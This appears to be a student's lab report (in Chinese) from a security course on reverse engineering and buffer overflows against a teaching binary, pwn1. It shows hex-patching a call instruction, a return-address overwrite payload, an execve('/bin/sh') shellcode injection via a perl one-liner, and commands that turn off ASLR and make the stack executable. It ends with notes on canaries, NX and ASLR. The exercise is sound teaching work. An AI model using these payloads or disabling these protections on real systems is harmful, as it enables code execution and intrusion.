exp1 逆向与Bof基础

                exp1逆向与Bof基础

   实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

--

  • 三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。
  • 这几种思路,基本代表现实情况中的攻击目标:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。  
    • 实验要求

      1:掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码

      2: 掌握反汇编与十六进制编程器

      3:能正确修改机器指令改变程序执行流程

      4:能正确构造payload进行bof攻击

    • 预备知识

      • 熟悉Linux基本操作

      • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。

      • 理解Bof的原理

      • 能看懂汇编、机器指令、EIP、指令地址

      • 会使用gdb,vi

实验步骤:

1直接修改程序机器指令,改变程序执行流程

1.1知识要求

  • 掌握Call指令的机器码,了解EIP寄存器的功能,了解指令跳转的偏移计算

  • 学习反汇编

  • 1.2实现过程

1、下载目标文件pwn1,将其放入共享文件夹中

2、进入kali终端,使用 cp 指令复制pwn1 分别命名为pwn2、pwn3

3、使用指令 objdump -d pwn1 对pwn1进行反汇编指令,查看对应的代码

 

4、了解地址信息

5、vim pwn1编辑内容

 

6、使用 :%!xxd将显示模式切换为16进制模式

 

7、修改地址跳转

8、使用 :%!xxd -r 转为16进制原格式

9、wq保存退出

10、再使用 objdump -d pwn1 反汇编检查call指令跳转

11、./pwn1 运行代码,会得到shell提示符#

可以看见这里的ls显示就是当前文件夹里面对应的文件:

 

1.3小结

  • Linux系统中 call 8048491 汇编代码在此处对应的机器指令为 e8 d7ffffff
  • e8 为跳转的意思,在刚执行这条语句时,EIP存储的值为下调指令的地址,即 80484ba,d7ffffff是小端显示的 -41的补码,0x80484ba-41=8048491
  • 要实现执行getshell,我们需要使计算结果为804847d
  • 0x80484ba-0x804847d=0x000003d,所以我们要知道十进制-61的补码为ffffffc3
  • 修改对应位置的机器码即可

2.通过构造输入参数,造成BOF攻击,改变程序执行流

知识要求:堆栈结构,返回地址c
学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
进阶:掌握ELF文件格式,掌握动态技术

实现过程

我们的目标是触发函数getShell

该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞

这里读入字符串,但系统只预留了(28)字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

上面的call调用foo,同时在堆栈上压上返回地址值:(80484ba)

下一步要确认输入字符串哪几个字符会覆盖到返回地址

用gdb调试pwn2,

 当输入的为1111111122222222333333334444444455555555可以看到eip的值0x35353535也就是5555的ASCII码

 

如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell

 确认用什么值来覆盖返回地址

getShell的内存地址,通过反汇编时可以看到,即0804847d。
接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

对比之前 eip 0x34333231 0x34333231 ,正确应用输入11111111222222223333333344444444\x7d\x84\x04\x08。

构造输入字符串

实验指导书中刘老师提示到:由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。

\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

 

然后将input的输入,通过管道符“|”,作为pwn1的输入。

 3.注入Shellcode并执行

3.1知识要求

  • shellcode就是一段机器指令(code),在实际应用中,凡是用来注入的机器指令段都被通称shellcode

  • 掌握二种基本buf攻击中的一种

    1:retaddr+nop+shellcode

    2:nop+shellcode+retaddr

  • 获取shellcode命令:

perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

3.2具体指令步骤

1:ap-get install execstack /安装execstack命令/

2:execstack -s pwn3 / 设置堆栈可执行/

3:execstack -q pwn3 /查询文件的堆栈是否可执行/

4:echo "0" > /proc/sys/kernel/randomize_va_space /关闭地址随机化/

5:more /proc/sys/kernel/randomize_va_space /查询是否关闭地址随机化/

 

3.3实现过程

1:构造重定位文件,输入指令 perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shell

2:注入此段攻击:(cat input_shellcode;cat) | ./pwn3

3:打开另一个终端,使用ps -ef | grep pwn3查看相应进程号

4:gdb进行调试

5:使用命令 atach + 进程号调试

6:使用 disassemble foo命令反汇编,设置断点查看注入buf的内存地址。

7: break *0x080484ae设置断点,并输入 c 命令继续执行

8:在输入c回车一下后在另外一个终端按次回车,再返回使用 info r esp查看地址。

9:使用命令 x/16x 查看内存内容,当我们找到了 0x01020304,就知道我们的shellcode就在后面,所以我们的Shellcode就是这个地址+4

10:修改重定位文件

11:执行成功 !

 

4.Bof攻击防御技术

5.1. 从防止注入的角度。

在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生

5.2. 注入入了也不让运行

结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。

通过execstack -s pwn1 来设置堆栈可执行
通过execstack -q pwn1 来查询文件的堆栈是否可执行

 

 5.3. 增加shellcode的构造难度
shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。

 

/proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况:
             0 - 表示关闭进程地址空间随机化。
            1 - 表示将mmap的基址,stack和vdso页面随机化。
            2 - 表示在1的基础上增加栈(heap)的随机化。

 

 实验感想

 因为有了上学期学习虚拟机的经历,所以对于kali的安装和应用挺顺利的,按照老师和同学给的实验指导书进行,实验进程有条不紊,只有在任务三gdb单步调试,continue时,没有去另一个终端按下回车而是在当前终端按下回车,最终的esp并不在ret,经过查看地址的数据,发现差了四个字节,应该是多了回车导致多执行了一条命令,使esp产生了变化,卡壳了好久。这次实验让我认识到自己在汇编等基础知识的学习还需要加强。其次通过实际的操作我也进一步感受到了网络攻防的基本步骤,对于网络攻防有了更深入的体会。

 

 

posted @ 2022-03-20 17:57  20191229XYZ  阅读(148)  评论(0编辑  收藏  举报